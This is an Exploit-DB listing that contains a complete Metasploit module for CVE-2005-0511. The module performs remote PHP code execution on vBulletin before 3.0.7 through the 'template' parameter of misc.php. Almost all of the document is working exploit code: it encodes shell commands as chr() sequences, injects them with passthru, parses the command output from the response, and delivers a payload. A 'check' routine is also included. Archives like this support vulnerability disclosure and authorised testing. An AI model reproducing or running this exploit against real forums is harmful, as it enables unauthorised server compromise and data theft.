标题: vBulletin - 'misc.php' Template Name Arbitrary Code Execution (Metasploit) EDB-ID: 16896 CVE: 2005-0511 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-25 漏洞利用脚本: ##
# $Id: php_vbulletin_template.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 # XXX This module needs an overhaul
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'vBulletin misc.php Template Name Arbitrary Code Execution',
   'Description'    => %q{
     This module exploits an arbitrary PHP code execution flaw in
    the vBulletin web forum software. This vulnerability is only
    present when the "Add Template Name in HTML Comments" option
    is enabled. All versions of vBulletin prior to 3.0.7 are
    affected.
   },
   'Author'         =>
    [
     'str0ke <str0ke[at]milw0rm.com>',
     'cazz'
    ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9929 $',
   'References'     =>
    [
     [ 'CVE', '2005-0511' ],
     [ 'BID', '12622' ],
     [ 'OSVDB', '14047' ],
    ],
   'Privileged'     => false,
   'Platform'       => ['unix', 'solaris'],
   'Payload'        =>
    {
     'Space'       => 512,
     'DisableNops' => true,
     'Keys'        => ['cmd', 'cmd_bash'],
    },
   'Targets'        => [ ['Automatic', { }], ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 25 2005'
   ))

  register_options(
   [
    OptString.new('PATH', [ true,  "Path to misc.php", '/forum/misc.php']),
   ], self.class)

  deregister_options(
   'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
  )
 end

 def go(command)
  wrapper = rand_text_alphanumeric(rand(128)+32)

  command = "echo #{wrapper};#{command};echo #{wrapper};"
  encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

  res = send_request_cgi({
    'uri'      => datastore['PATH'],
    'method'   => 'GET',
    'vars_get' =>
     {
      'do' => "page",
      'template' => "{${passthru(#{encoded})}}"
     }
   }, 5)

  if (res and res.body)
   b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
   if b
    return b.captures[0]
   elsif datastore['HTTP::chunked'] == true
    b = /chunked Transfer-Encoding forbidden/.match(res.body)
    if b
     raise RuntimeError, 'Target PHP installation does not support chunked encoding.  Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'
    end
   end
  end

  return nil
 end

 def check
  response = go("echo ownable")
  if (!response.nil? and response =~ /ownable/sm)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  response = go(payload.encoded)
  if response == nil
   print_error('exploit failed: no response')
  else
   if response.length == 0
    print_status('exploit successful')
   else
    print_status("Command returned #{response}")
   end
   handler
  end
 end
end URL: https://www.exploit-db.com/exploits/16896